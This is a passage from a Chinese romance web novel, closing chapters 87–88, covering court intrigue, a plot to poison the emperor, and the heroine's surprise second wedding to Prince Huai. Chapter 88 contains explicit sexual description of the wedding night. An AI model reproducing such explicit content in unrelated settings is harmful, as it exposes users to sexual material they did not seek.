“你就在日复一日的忏悔与猜疑中度过吧。” 宋鸿惊惧不安地抬头。 这是沈昭予第一次在他眼中看到绝望和悔恨。 是为了他的妻子,而不是为了他的女儿。 “你这样的父亲,对她来说正好。” “你不能庇佑她,那她就只能依靠本王。” “本王甚是心喜。” “……” 沈昭予翻身而下,没有再回自己院落,而是当着宋鸿的面,打开了宋星糖的房门。 他带着一身煞气,阔步入卧房。 停在床榻前,凝视半晌,心中的怒火才渐渐熄灭。 脱掉外袍,躺到她身边。 没一会功夫,小姑娘闻着味就凑过来了。 “鱼鱼,鱼鱼鱼鱼……” 他失笑道:“我在呢。” 嗅嗅。 嗯? 宋星糖被熏醒,迷迷糊糊睁眼,“什么味道?” 沈昭予往后退,“撞上个醉鬼,罢了,我去沐浴。” 宋星糖困得眼睛睁不开,慢慢打了个哈欠,张手抱上去。 声音绵软,黏糊糊地:“困,别走。” “算了,臭臭的,也喜欢。” 嘟囔完,一脑袋扎进怀里,呼呼大睡。 沈昭予抬手揽着她的背,温柔地看着她,直到三更梆响,才舍得合上眼睛,亦沉沉睡去。 第87章 第87章好在,宋星糖紧紧抱住了…… 【87】 皇帝被人下毒,病入膏肓。 下毒者是二皇子,被怀王殿下当场抓获。 怀王奉命查抄皇子府,翻出其通敌叛国、卖官鬻爵的铁证。 这是近来京城中茶余饭后被广泛讨论的几件事。 宋星糖两耳不闻窗外事,一心只在沙画上。 “陛下身子那样差,还迟迟不立太子,他怎么想的?” “谁知道呢,他可能不想大权旁落吧?” “不可能,那他还叫怀王替他料理朝政?这不是已经旁落了?总不能是乐意给弟弟管,不给亲儿子管吧。” “或许是和殿下兄弟情深?又或许那几个儿子没一个成器的?” “嗯,此言有理,这世间要想找出个比咱们姑爷还厉害的,怕是难。” “哎,所以二皇子就给他爹下毒?那也不对啊,他若急着篡位,也该给怀王下毒,给他老子下有什么用?毒死了,皇位能轮得到他坐?” “可说是呢,想 不通……” 妙荷和巧杏在院里说得热火朝天,宋星糖丁点兴趣都没有。 用她的话说:“我连自己的事都顾不过来,哪还能管得了谁当皇帝呐。” 不过她倒也不是完全不在意外头发生了什么—— “如果皇帝,嗯……那个了,”她忌讳地隐去不吉利的词,担忧道,“我是不是还得给他守丧啊?” 众人:“……” 宋星糖满面愁容,“哎,守丧就不能大吃大喝了,遗憾。” 哪怕宋星糖如今成长不少,她骨子里依旧存着浓浓的孩子气,所思所想,和十岁大的孩子没差多少。 哦不,她比十岁孩子强在,她知道夜里要找沈昭予一起睡觉,而十岁的孩子没有夫婿。 二皇子入狱幽禁,沈昭予并未放松警惕,对宋星糖的保护只增不减。 进了九月,天气便没那么闷热,宋星糖终于愿意出去走一走了。 重阳节过,已身为侯府主母的言婉也终于偷得一丝喘息。 两人逛了几个店铺,正欲往酒楼去,尽兴地聊一聊,怎料还未出门,便被几名锦衣华服的男子给拦住。 为首的那位,面白皮细,嗓音微尖。 言婉一眼就认出,是宫中的内侍。 她前行半步,将宋星糖挡在身后。 内侍微微一笑,垂首揖手,“谢夫人莫急,陛下只是想请这位姑娘进宫一叙。” 言婉眼皮一跳,冷笑道:“有什么好说的,叫他同怀王说去。” “谢夫人,”内侍不恼不怒,也没计较对方的抗旨不尊,仍笑着道,“她总不能一辈子躲在人后,不见人。” 言婉沉思片刻,回头看了一眼。 宋星糖茫然地眨了眨眼,显然不知这是什么情况,她扯着言婉的衣角,无措地道:“言姐姐?” 言婉回过头,“好,但我要陪她一起,这是怀王的交代,还请公公别为难我。” 内侍听到怀王的名号,到底没再多言,做了个‘请’的手势。 宋星糖就这么被接进了那座巍峨的宫殿中。 深宫内苑,规矩森严。 饶是宋星糖这般无拘无束、心大迟钝的人,也被这股拘束感给吓得不敢出一口大气。 她一路揣着手垂着头,紧紧跟在言婉身边,两只眼睛却不安分地乱转,对周遭的一切都十分好奇。 她踏进一个雕梁画栋的宫殿中,一眼望见殿内摆设,无一不精巧别致,宋星糖两眼发直,眼珠一错不错地盯着博古架上的夜明珠。 好大,竟比鱼鱼送她的还要大。 想摸。 在宋星糖对着夜明珠垂涎三尺时,内侍宫女鱼贯而入,撤去殿前屏风,掀开幔帐,扶着榻上的人缓缓坐起身。 言婉垂着眸子,拉着身侧的女子,一起跪下。 “臣妇参见陛下,愿陛下龙体康泰,寿享万年。” “寿享万年?哈哈咳咳咳……”男人好笑地叹了一声。 宋星糖跪伏在地上,埋着头,一声不吭。 她方才注意力都在那夜明珠上,这时回神,才嗅到殿中浓郁的药苦味,耳边是男子低哑压抑的咳嗽声,她克制着抬头的欲望,专心看地砖上的土。 “你刚刚说,臣妇……”男人这才眯着眼仔细打量,恍然道,“长这般大,竟已嫁人了啊,嫁的是哪家的孩子?” 言婉扯了扯嘴角,说道:“回陛下,谢徽。” “谢徽……对了,你们是青梅竹马。”庆仁帝神情有些恍惚,“算起来,谢徽也是朕的表弟。” 先皇后与已故的谢老侯爷是亲兄妹,只是谢徽与庆仁帝年岁相差甚大,并不相熟,倒是谢徽与沈昭予年岁相当,幼时常有往来。 庆仁帝怔怔望着言婉冷淡麻木的目光,又是一阵恍惚。 “朕记得,你们从前一起玩的,还有个女孩子……” 言婉倏地笑了,“劳陛下挂怀,是还有一个,谢徽的妹妹,我们三个幼时形影不离。” 庆仁帝魂不守舍地点了点头,喃喃道:“原来如此,是因为这个。” 明明庆仁帝叫进宫来的是宋星糖,可进来半天他都没和宋星糖说一句话,反而和言婉说了不少。 说上一句,要咳个半晌。 宋星糖没忍住抬眼悄悄看了一眼。 只见一身明黄寝衣里,裹着一具瘦削的身体,男人年逾四十,鬓角已有白发,那张脸上没见岁月的痕迹,但瘦得两腮凹陷,病容憔悴,全身上下只那双凤眸,和沈昭予有两分相似。 她歪着头打量,猝不及防对上男人投过来的目光。 她一愣,眨了下眼。 庆仁帝唇角挂上一抹笑,一边咳,一边冲她招手。 宋星糖转头看了一眼言婉,只见对方冲她点头。 她拎着裙子,小碎步挪过去,在近处挑了块看着干净的地砖,跪了下去。 庆仁帝一愣,而后又哈哈大笑起来。 “你这小丫头,很爱干净。” 内侍也在一旁捂嘴笑道:“宋姑娘,地上那不是脏,而是花纹,原本就是这样的。” 宋星糖‘啊’了声,无措地抠手,不好意思地笑了笑,“我不懂,抱歉呀……” 她嘟囔了声‘真稀奇’,眼睛止不住往花砖上瞄,这一看不要紧,还真叫她看出图案来了。 一时间没了紧张的情绪,全然放在研究新鲜物件上。 “诶?是朵莲花哇!” 她小声惊呼。 庆仁帝又止不住地笑,内侍忙给他顺气,嘴角亦止不住上弯。 “原来他喜欢你这样的女子。” 如璞玉一般,澄澈干净。 听到笑声,宋星糖这才猛地抬头,对上一双温柔的笑眼,她红了脸,一个头磕下去,“对不起对不起,请陛下恕罪,民女家中贫寒,未见过这般灵巧精致之物,一时间看入迷,可不是心存冒犯的!请陛下饶恕,别砍我的头哇!” 她心眼实,一个头磕出了响,庆仁帝摆摆手,“可饶了朕吧,最后的日子,朕想安安生生地过。” 内侍连忙把人搀扶起来,让到一边落座。 庆仁帝说完那句,便陷入长久的沉默。 宋星糖看得出,他有些难过,却不知为何。 她挠了挠头,转回看言婉,只见言婉神色极淡,目光冷冷地垂着。 宋星糖一怔,一股古怪的感觉袭上心头。 内侍察言观色,将二人请离,“陛下身体不适,要休息了。” 言婉微微颔首,恭恭敬敬地行礼,告退。 气氛一度凝滞。 宋星糖走到一半,忽然回头。 “陛下,那花砖能送一块给我不?”她连吃带拿,指了指博古架,“还有那个夜明珠,放您屋里太亮了,耽误休息。” 众人:“……” 凝滞艰涩的氛围陡然一散。 庆仁帝十分无语:“拿走。” “谢谢陛下!我回头让鱼鱼给你银子!” 庆仁帝:“……” 他嘴角抽搐,心有不甘,把人叫住。 “你可知今日怀王也在宫中?” 宋星糖眼睛亮晶晶的,“咦?他在哪里呀?” “你要去找他?” “嗯嗯!” 庆仁帝勾唇一笑,漫不经心地道:“他被贵妃请去议事,他们能有何要密谋的呢?总不会是让怀王助朕的大儿子登基。” 殿中呼啦啦跪倒一片。 宋星糖歪了歪头,“不可能,鱼鱼不帮不熟的人,他哪有那么好心。” 庆仁帝话说太多,累了,靠着软榻,调侃道:“看来你很了解他,不错,他们商议的不是国事,而是终身大事。” “嗯?” “贵妃的表妹崔姑娘近日住在宫中,怀王又正巧缺个正妃……” 话到此处,戛然而止。 宋星糖跟着言婉出了大殿,逮住方才庆仁帝身边的内侍,问出贵妃的住处。 内侍唤来一名宫女,领她们去,见人急匆匆离开,才笑着回去复命。 被皇帝出卖的怀王殿下此时站在贵妃殿外,面前站着冲他福身行礼的年轻女子。 “殿下金安。”崔姑娘害羞 带怯,娇声道,“自陛下病倒,娘娘整日以泪洗面,今晨忽然昏倒,现在还未醒,请殿下偏殿坐,我来伺候——” 沈昭予心底渐生烦意,冷冷看她一眼,拂袖转身。 好一个贵妃,敢诓他来。 沈昭予咬牙切齿,疾步往外。 在拐弯时,撞上一个人。 “哎哟——” 沈昭予听到熟悉的声音,身体的反应先于大脑,他下意识把人捞进怀里,不无诧异:“糖儿怎在此处?” 言婉落后一步,解释缘由。 听到皇帝召唤,再一联想贵妃的举动,沈昭予冷笑一声,“他是故意要给本王找麻烦。” 庆仁帝知道贵妃对怀王的后宅起了心思,所以故意把宋星糖叫到宫里,让他“后院起火”。 言婉淡淡道:“陛下所剩乐趣无多,能看到殿下吃亏,他怕是晚膳都能多吃一碗。” 身后传来急促的脚步声,同时伴随着女子的呼唤:“殿下,殿下——” 宋星糖毛绒绒的脑袋冒头:“嗯?谁在叫你?” 沈昭予把她按回去,弯腰将人打横抱起。 身后忽听一声惊呼,脚步声停了。 沈昭予抱着人往外走,“今日辛苦,你也回吧。” “恭送殿下。” 言婉回头,果然看到崔姑娘哭得梨花带雨,轻叹一声。 一路无话,回到王府。 宋星糖始终一副心事重重的模样。 她捂着心口,紧拧眉头,似乎在思索什么绝世难题。 沈昭予试探地问她在宫里和皇帝说了什么,她只说要了两件礼物,没别的事。 没等他追问,宫里便把那两件东西送了过来。听内侍复述下午发生的事,沈昭予默默无言。 敢朝天子索要枕边爱物的,普天之下,只怕唯宋星糖一人。 睡前,宋星糖仍没想出头绪来,她又想起另一件事。 她把脑袋扎进男人怀里,好奇道:“言姐姐和陛下有何过节吗?我瞧言姐姐神情不对,陛下似乎也不怪罪。” 也没准这个皇帝本身就是宽宏大度之人,毕竟他皇帝做成这个样,镇不住臣民也属正常。 “他毕竟为帝数载,怎会一点帝王威严都没有,”沈昭予言简意赅,为她解惑,“谢徽有一双生妹妹,先帝在世时封其为公主,在她十三岁时,送到西素和亲了。” “和亲?”宋星糖喃喃道,“才十三岁呀。” “公主到西素,才做王妃一个月,老王爷便暴毙病死,当晚其子继承王位,同时继承的,还有王妃。” 宋星糖震惊地张大嘴巴,呐呐道:“王妃也可以继承吗?” “可以,这便是西素人的传统,父死子继,素来如此。” 宋星糖说不出话来,只觉得心里闷闷的,比听到贵妃要把别人给他当王妃时感觉还沉闷。 沈昭予把人搂紧,微合双眸,喃喃道:“一年后先帝去世,当今陛下继位,他并未把公主接回,而是命她留在边疆,助两国维系和平。” 宋星糖听得悬起一颗心,“那后来呢?” “后来公主十五岁时,难产而亡。” 宋星糖沉默半晌,“那你呢?你当时,在边境吧?” “嗯。” “所以你开战了?” “是。” 沈昭予十三岁被驱逐离京,当时谢徽的妹妹还是侯府千金。 : 她死时,沈昭予已经在军中站稳脚跟。 公主用她年轻的生命,换了两国两载的和平。 “我寻到她的尸身,见到她的惨状,才知她是被西素王室折磨死的,西素人从未有一日想要休战,他们想要一个侵扰边境的理由。” “那本王就送他们一个理由。”沈昭予冷淡道,“本王先举兵踏入西素国土,他们如愿地再次举起屠刀反攻,只可惜,他们从未赢过本王一次。” 他越说,感觉身体中的血液越冷。 好在,宋星糖紧紧抱住了他。 让他终于又在这人间感觉到温暖。 “老侯爷郁郁而终,死不瞑目。谢徽发誓要为妹妹报仇,言家也随之一起,皆站到了本王的身后。” 无论是先帝,还是庆仁帝,都是谢家的死敌。 沈昭予低头亲了亲她。 皇帝中毒,出自谢徽的手笔。 栽赃给二皇子,是沈昭予推波助澜。 一切皆顺理成章。 那毒是慢性,长达数年的时间,慢慢沁入骨髓,流向四肢百骸。 庆仁帝察觉到异常时,已然晚了。 许是睡前吐露心声的缘故,沈昭予这一夜睡得极好。 他醒时,凭着本能,要去亲吻睡梦中的爱人。 结果才一转头,便对上一双黑亮的大眼睛。 沈昭予:? 他把眼闭回去,再睁开。 沈昭予:“……” 他好笑道:“醒了,还是没睡?” 宋星糖十分清醒:“醒了,天亮就醒了。” 这是稀奇,往日她都要睡到日上三竿,今日怎么…… “难不成,是昨晚同你说的那件事让你一直记挂?” 宋星糖顶着两只黑黑的眼圈,摇头,“和那个不相干。” 问她和什么相干,她不说话。 一抬脚,把人往床下蹬。 “罢了,你忙去吧,我再睡会。” 说完盖好被子,紧闭双眼,再不理人。 沈昭予一头雾水起身,他今日的确有要事,耽误不得。 他还得去准备明日大婚的事宜。 因此没和她多做纠缠,带着满肚子的疑问走了。 房门关紧,宋星糖蓦地睁开眼睛。 耳边仍然回荡着皇帝那句—— “贵妃的表妹崔姑娘,怀王正巧缺个正妃。” 她再度捂上心口,眉头微蹙,百思不解。 “这里的酸痛,怎么还没散啊……”【你现在阅读的是 】 【正文完】 第88章 第88章“你是我的爱…… 【88】 近日宋星糖觉得府上的人都很奇怪。 首先是她爹爹,总找不到人不说,见着她也总是不敢直视她的目光,好像办了什么亏心事似得。 其次是李嬷嬷,竟然开始收拾她院里和屋里的东西,就跟当初要离开越州时一样。 不同的是,离开越州带走的都是未来用得上的东西,而这次李嬷嬷留了她日日要用的东西在外头,把她暂且用不到的东西都偷偷运走了,运到哪儿去,宋星糖不知,只知道院里的东西日渐减少。 最后是巧杏,这小丫头平日最爱背后聊八卦,这两日嘴上跟插了门栓似得,闭得紧紧的,撬都撬不开。 至于妙荷和青鸾,倒是一如既往,挑不出异样。 宋星糖自己心上多出来的毛病还未弄清楚,这些疑问自然只是短暂地打她脑袋里一滑,就滑出去了。 她托着腮,一边心不在焉地画画,一边思索自己心口那股仍未消散的感觉究竟是什么。 一墙之隔的院中,巧杏抻着脖子,目光越过敞开的窗子,往里看了一眼。 妙荷帮着运完最后两包袱,小心翼翼地问:“如何,姑娘可有察觉?” 巧杏乐了一声,“姑娘心大着呢,怕是要等到明日上了花轿,才能察觉。” 妙荷深以为然地叹了口气,“老爷才刚交代,说六礼只差最后一步,万不可走漏风声,功亏一篑。” 巧杏啧啧道:“老爷这态度转变得,真是猝不及防。” 这段时日怀王殿下与宋将军偷偷摸摸地过了嫁娶礼仪,一眨眼万事落定,只差迎娶。 行动之速,令人咋舌。 “不愧是姑爷,连成亲都是雷厉风行的。” “别感叹了,想想晚上怎么诓姑娘出去才是要紧。”妙荷苦恼道,“姑爷说要让姑娘从侯府出嫁,可要怎么说她才肯出门啊?她今日还特意交代,要画画,谁也不能打扰她。” 巧杏翻了个白眼,一副你真笨的表情,“就说言姑娘请姑娘去小住不就得了?小侯爷正好不在京中,言姑娘独守空闺,一人寂寞,她来请,姑娘岂会不愿?” “这主意好,我这就去 骗!” “……” 傍晚,宋星糖被忽悠着上了马车,晃晃摇摇,直奔谢府。 她心里惦记着未完成的画作,去人家府上做客前,还特意抱上画纸画笔,想着晚上换个地方继续画。 下马车时,她抓着缰绳不撒手,有点后悔:“我走了,鱼鱼怎么办?” 言婉失笑道:“你不在,他难道还不会自己吃饭睡觉了?” 宋星糖道:“话不是这样说,是我离了他不习……” 言婉变戏法似得,从背后变出一颗夜明珠,在她面前晃了晃。 宋星糖立马松开缰绳,去抱眼前的珠子。 立马把男人忘到脑后,美滋滋地:“走吧走吧!” 暗中窥视的暗卫:“……” 暗卫回去如实禀报,沈昭予扶额苦笑:“本王就知道。” 他果然只是个陪睡的工具罢了。 他的地位,一颗夜明珠便能轻易取代。 好姐妹二人同床共枕,一直叙闲话到二更才睡下。 半夜言婉被夜明珠亮醒一次,被人拿脑袋拱醒两次。 言婉:“……” 怀王天天都过得什么日子啊。 后来她干脆不睡了,起来准备明早的一应物品。 宋星糖拢共没睡上几个时辰,天才亮就被人喊醒。 她靠在人怀里,以为是沈昭予,下意识蹭了蹭,蹭完发现软软的,感觉不对,半睁一只眼,“嗯?” 等看清满屋子的人,她脑中一片空白,加上尚未清醒的混沌,更懵了,“怎么这么多人……” 她的婢女们都挤在这屋里,不管是昨日跟着来侯府的还是没来的,全都到齐。 同时还有两个面容陌生的婆子,各个脸上洋溢着喜气,笑意盈盈地望着她。 宋星糖:? 没睡醒,再睡会吧。 她坚信自己是在做梦,并且在脑中反复强调这个认知,两眼一闭,竟又睡死过去。 众人:“……?” 一个婆子忍俊不禁道:“老婆子我送的嫁数不胜数,还未有这般不拿大婚当个事的新娘子。” 妙荷捂嘴笑道:“我们姑娘不知今日成亲。” 婆子大惊,“哎哟”了一声,转念一想,若这是怀王的主意,又很快释然。 在场的喜婆经验虽丰富,却都是头回伺候睡着的新娘子。 各个屏息静气,下手极轻。 为她换了衣裳,又用湿帕子擦了脸,到漱口时,哄着她张嘴。 她梦里约莫在吃东西,竟是一口将漱口的茶水吞了。吃完还吧唧两下嘴,嘟囔了句梦话:“甜,还要。” 众人:“……” 盥洗过后,便是开脸上妆。 等到众人满头是汗地伺候妥当,新娘子终于睫毛一颤,幽幽转醒。 “诶?怎么还是你们?” 宋星糖拧着眉,疑惑这梦怎么这般长,眼见又有闭眼的趋势,言婉终于坐不住了。 她大声叫了一声宋星糖的名字。 宋星糖耳朵一动,循声望去,愣了下。 只见言婉身边立着两名婢女,她们手中,拎着一身大红色的喜服。 宋星糖这才陡然清醒过来。 她曾成过亲,自然是知道那衣服做什么用的,何时才能穿。 她犹豫着,视线再次从众人的脸上一一扫过,最终落到面前的铜镜上。 她望着镜中貌美娇艳的自己,抿了下唇,小心翼翼地道:“我不会又要嫁人了吧?” 这个‘又’字,叫屋中有一瞬间的死寂。 而后不知谁先发出‘噗嗤’一声,很快笑声接二连三,连绵不绝。 李嬷嬷感慨道:“我的姑娘呀,可算是醒了。” 妙荷也道:“太阳高悬,到起床的时辰啦。” 巧杏催促道:“姑娘快将嫁衣换上,别误了时辰。” 青鸾跟着道:“王府迎亲的车架已然出发,就快要到了。” 宋星糖:??!!! 她惊得瞪圆了眼,问题太多,一时间不知该从哪句问起—— 怎么就忽然要成亲了,也没人告诉她啊。 她现在还在侯府吗?还在京城吗? 她真的不是在做梦吗?大家是不是要趁沈昭予不在,偷偷把她卖了? 上回她还参与了婚前的准备,这次怎么直接进行到出嫁这步了? 最后有个不可忽视的问题,她必须要问出口: “我和谁成亲啊?” 众人一噎,而后皆捧腹大笑。 青鸾无奈道:“还能有谁,谁敢不要命地越过殿下,娶您进门?” 宋星糖松了口气,“哦哦,还是鱼鱼啊,那就好。” “……” 没时间多说,众人七手八脚把宋星糖架起来,伺候她更衣。 整个过程中,宋星糖化身为绢布娃娃,让抬手臂抬手臂,让低头就低头,乖巧听话任人摆弄。 嫁衣繁复,云肩沉重,压得宋星糖不自觉放轻呼吸,心头越发紧张。 盖上红盖头,出了房门,她听到她爹爹的声音。 听他哽咽着说:“今嫁为他人妇,当持家慎……罢了,珍重几身,胜过万千。” 而后她茫然地被人领上喜轿。 凤冠霞帔,十里红妆。 瞧那绵延数里的嫁妆车队,京中百姓这才知道,怀王妃乃是出自巨贾之家。 怀王沈昭予亲自来迎亲,坐在高头大马之上,于最前方开道。 他身后的喜轿是用的十六人抬,在本朝唯有皇家可用,如今无人敢斥他僭越逾制。 宋星糖坐在轿子里,至此时仍无半点实感。 她木讷地呆坐着,直到外头有人轻轻唤了一声:“糖儿。” 她才如梦方醒,眼底猛然有了光亮。 她抬头前望。 隔着盖头,隐约看到个轮廓,她脑海中一下便浮现出男人温柔的笑脸。 再无犹豫地钻身出轿,把手放在他掌心,被他牵着往里走。 第二次成亲,是与前次全然不同的体验。 有了对比,方知前次简化流程,有多含糊敷衍。 难怪,她明明把休书撕毁,他还执着于再成一次婚。 等到礼成,她被人送回新房,仍然沉浸在恍惚的情绪里。 这一切都太过突然,致使她需要花费漫长的时间去接受。 不过,这样的事,并不讨厌。 宋星糖垂下眸,慢慢弯起唇。 可谓是一回生二回熟,她这也算是二嫁啦? 沈昭予将红盖头掀开时,便瞧见小姑娘眸光狡黠,笑得露出两颗酒窝。 沈昭予提了一日的心骤然落下,周身的紧绷卸去。 气氛一下变得轻松明快。 他失笑道:“笑甚?” 她笑眼弯弯,“笑我是个二嫁的妇人啦。” 沈昭予:“……” 他试图纠正:“二嫁通常来说,是前后两个不同的夫婿。” “是两个呀,初次和赵鱼,这次和你。” “只是名字不同,身份不同,长相不同……”沈昭予没了底气,“好吧,就当是两个人吧。” 因为大婚前一直对宋星糖进行保密,所以她至今未看过嫁妆单子与聘礼单子。 她成婚,真可谓是只在最后的礼节上,稍微参与了一下。 屏退众仆,再无外人。 宋星糖开始问问题—— “听说嫁妆很多,是你叫人把我院里都搬空了?” “并未,那些东西皆是你日常所需,搬出来只为方便婚后。” 成了亲,她就得跟着他住主院。 “那我嫁妆哪来的?” “我托秦管家从越州运来的。”他无奈道,“秦管家约莫是怕我欺负你,所以成倍地送来嫁妆,只为给你撑腰,叫你更有底气。” 宋星糖笑嘻嘻地:“秦大哥对我真好。” 沈昭予不置可否。 “那你……送我什么呀?” 有夜明珠嘛?有金子嘛? 提到这个,沈昭予难得有些脸红。 他目光躲闪,“本王的确不如你家富有。” 岂止是不如,若与越州宋氏相比,说他“家徒四壁”都不为过。 他尴尬地咳了一声,从枕下抽出一份礼单,递过去。 就知道她会好奇,所以提前都备好了。 宋星糖接过一看。 除了一些寻常的稀奇珍宝,御用贡物,还有一般人家都不会加的东西。 “夜明珠?有夜明珠耶!” 最好的颜料画纸,笔墨纸砚,各地搜罗来的美食方子,京城最流行的全套故事话本,金制的奇形怪状的玩物摆件,诸如此类宋星糖会感兴趣的东西,全都有。 还有一个。 宋星糖的手里被他塞进来一本册子,她翻开第一页,倏地怔住,“这是……” 沈昭予笑道:“是宋大画师的人生中所著第一本画册。” “宋大画师……”她红唇微张,不可置信,“这是我著的书?” 沈昭予微微颔首,“往后会继续往其中增加新作,等攒得多些,可以叫人多多刊印。” 她即便没有“怀王妃”的名号,她只凭她自己,就能在京城闯出属于自己的一片天地。 从第一页看起,是她自从握笔作画以后,每一幅作品。 前面的可看出笔锋生疏,画技稚嫩,可很快没过几页,满篇的灵气四溢,扑面而来,叫人很难不感慨画师天分之高。 里头的作品有她的信手图画,花草飞鸟,绿树红花,有场景画,有人像画。 其中出现最多的人像,是“赵鱼”。 沈昭予再以这种方式看到自己曾经的易容,心中感慨万千:“赵鱼是我无数张易容中,最满意的一个。” 他当初想着,既然已经去做赘婿这种丢脸的事,就得做全天下最俊美出众的赘婿,才不堕他一世英名。 没想到这张面容,会同她有如此深刻的牵扯。 更没想到,他有朝一日,也会吃自己易容的醋。 “你说什么?”沈昭予箭在弦上,不得不发时,被她的请求气得怒意四窜,“你让本王还用那张脸同你圆房?!” 真是胆大包天! 当着他的这张脸,竟怀念起另一张脸来了! 宋星糖被撞得神志不清,双目蒙上一层水雾,她话音破碎:“我还没和,没和那张脸……呜!” 上次弥补了第一次成亲的遗憾,他说是用赵鱼的身份,可用的却不是赵鱼的脸,用的和现在的一模一样,又怎能叫弥补呢? 宋星糖满脑子都是那本画册,身体被他填得涨涨的,一颗被他精心准备礼物泡得酸酸的,感动的情绪变成一汪水,被全部塞进心里,酸涨难耐,急寻一个出口,好宣泄出来。 “沈昭予,好不好嘛?” 沈昭予:“……” 关键时刻,她就知道喊他的名字求他。 男人垂头默然须臾,而后重重地前冲,咬着牙道:“好,怎么不好。” 碰击声一下又一下,快而急,似战战鼓一般,有愈来愈快的架势。 他冷笑道:“糖儿既这般怀念赵鱼那张脸,那往后每夜都让本王与他一同伺候,如何?前半夜由本王来,后半夜到他,岂不快哉。” 一长串句子左耳进,右耳出,还伴随着男人的呼吸声。 五十个字被他的气息呼走一半,再颠飞二十,就只剩下最初的五个字,顽强地留在了她的大脑中—— “好,怎么不好。” 好诶。 他答应了。 宋星糖呜咽了声,十分有礼貌地道:“谢谢你哦。” 沈昭予几乎要被她给气死。 恍惚间,似乎又回到刚入赘到宋家,与她初相识,逐渐磨合的那些啼笑皆非的日子里。 他从未动纳妾的心思,想着一生一世只和她度过。她倒风流多情,新婚夜就开始期待二夫共侍一主,坐享齐人之福。 哈哈,她可真敢想,她怎么不上天呢。 是不是不管伺候她的人是谁,是不是他本人,她都能欣然接纳?只要别人也顶着一张赵鱼的脸,她就可以? 沈昭予脸色一黑,撑在她身侧的手骤然收回,捞过她纤细的腰肢,一把将人提起来。 将人翻转,背对着他。 “险些忘了,还差一课。” 秘戏图开篇第一讲——后进之跪立。 “呜呜。”她哭道,“快退出去,别挡路。” 他才送给她的一片汪洋才外流到一半,就被他给封堵住。 沈昭予从后面抱住她,手掌贴在她的小腹,按了按。 如踏入温泉水中,温热的暖流漫过月退根。 宋星糖微微颤抖,这下又学到新知识了。她失神喃喃:“原来按这里可以排……” 沈昭予有心惩罚,不肯轻易放过她。 学过这一篇后,又按着她复习了一遍先前学过的两篇。 一边埋头苦读,一边问她: “可学会了?可记住了?换糖儿主动做给我看,好不好?” 宋星糖在一声声夸赞中迷失了自我,更在无休止的漫长的颠簸中丧失了思考的能力,一味只知道按他的讲述去做。 等到黑夜里的鸟儿停止歌唱,吹动床幔的风也停歇时,已经是后半夜。 极致的欢愉过后,是难以承受的饥饿。 她没累死,先饿死了。 宋星糖眼角残留着泪痕,裹着被子,缩在床头,小口喝粥。 沈昭予一挥手,令收拾残局的婢女退下,折身返回,在她身侧落座。 宋星糖睨他一眼,哼一声,扭到另一边去。 男人一声轻笑,好脾气地起身,到另一侧坐下。 宋星糖蹙着眉,嘟囔一声‘好烦’,却没再动,因为身子实在累得慌。 她专心填饱肚子,男人伸手撩开她的长发,目光缱绻温柔。 “糖儿,我方才是在吃醋。” 嗯? 宋星糖立马抬眼,“吃什么醋?” 他弯着唇,坦诚地与她讲自己的心路。 说他到底在计较什么,解释他方才为何忽然强势。 宋星糖听后久久不语,半晌,才道:“这就是你一边那样,一边打我屁股的原因吗?” 一打,她就忍不住收缩,而后便听他低沉地闷哼一声,愈发卖力。 她目光哀怨地看着他。 沈昭予:“……” 他耳根微红,心虚地别过头,“我一想到那事,心中就有气,只想使劲揉搓你,叫你眼中只惦记我一人。” “只惦记你一人……” 宋星糖为这句话失神,无意识地搅动汤匙。 沈昭予见她思考,心知她需要时间来内化他所讲的话,因此也不打扰她。 接过碗,一口一口喂给专注思索无暇吃饭的小姑娘。 她被动地张嘴吃饭,又本能地咀嚼。 等她无论如何都不再张嘴时,沈昭予就知她吃得差不多了。 让人来收走碗筷,剪了红烛,相拥而眠。 没等他睡着,她忽然在他怀里抬头。 “我明白了,我也在吃醋。” 沈昭予疲惫的大脑顿时清醒。 他沉默片刻,撑着身半靠起来,“吃什么醋?” 宋星糖眸光澄澈,坦然道:“你,和崔姑娘。” 无需多言,他顷刻间便明了。 原来那日从宫中回来,她的异样是缘于此。 沈昭予觉得自己此刻应该为她的开窍而开怀大笑。 可他却怎么都笑不出来。 他感觉自己一颗心脏正在奋力地跳动,浑身的血液都随着她接下来的话,温度节节攀升,直至沸腾。 烧得他五脏六腑皆焦灼难抑,将他过往二十二载的人生尽数化为灰烬,令他有一种此生从此 刻才真正开始,才真正鲜活的错觉。 他满眼皆是她的倒映,听她专注地、认真地、平静地道: “这里,绞痛酸涩,寝食难安。” 能叫没心没肺的宋星糖说出“寝食难安”这四个字,严重程度可见一斑。 “一想到你的人生中,会出现除我之外的第二个,第三个,第无数个女人,我就……想用绳子将你拴住,拉回越州去。” 不要做什么怀王,只做她一个人的赘婿就好。 沈昭予哑声道:“拉回越州,我是马还是驴吗。” 宋星糖认真想了想,摇头:“不是,你是我的爱人。” 她的告白猝不及防,震耳欲聋。 沈昭予倏地闭上眼睛,手盖住脸。 “哎,别装睡,说话啊?”宋星糖推推他,“我说真的,若真有那一天,我只怕会雇一队镖师把你押回去。” 他不动,她继续扒拉。 “不过你放心,”宋星糖信誓旦旦地保证,“跟了我,你肯定能吃饱饭,我家有钱着呢。” 沈昭予忽然翻身,将她笼罩。 他以热烈而真挚的身体反应,去回应她的独占欲。 跻身入内时,他应声道:“本王的全部家当,皆已被糖儿收入囊中。” 他比不得她富有,可也会尽力给她最好的。 “本王现在一两银子都拿不出,”他笑着往里进,手轻抚上她漫上红晕的侧脸,低声道,“这下真的要给大小姐做赘婿了。” “不用押回越州,即便是在京城,我也是大小姐一个人的赘婿。” 共攀顶峰时,他咬着她的耳朵,哑声笑道: “大小姐要记得承诺,让我日日有饱饭吃。” 她呜咽一声:“那……那是自然。” 做赘婿也没什么不好。 只要是为她,做什么都行。 人么,赢了一辈子,争了一辈子,到头来才发现,还是觉得空虚,觉得孤单。 倘若身边有一人,在你回头时,她能冲你笑,这样的一生才最有意义。 为她俯首,甘之如饴。 ——正文完——【你现在阅读的是 】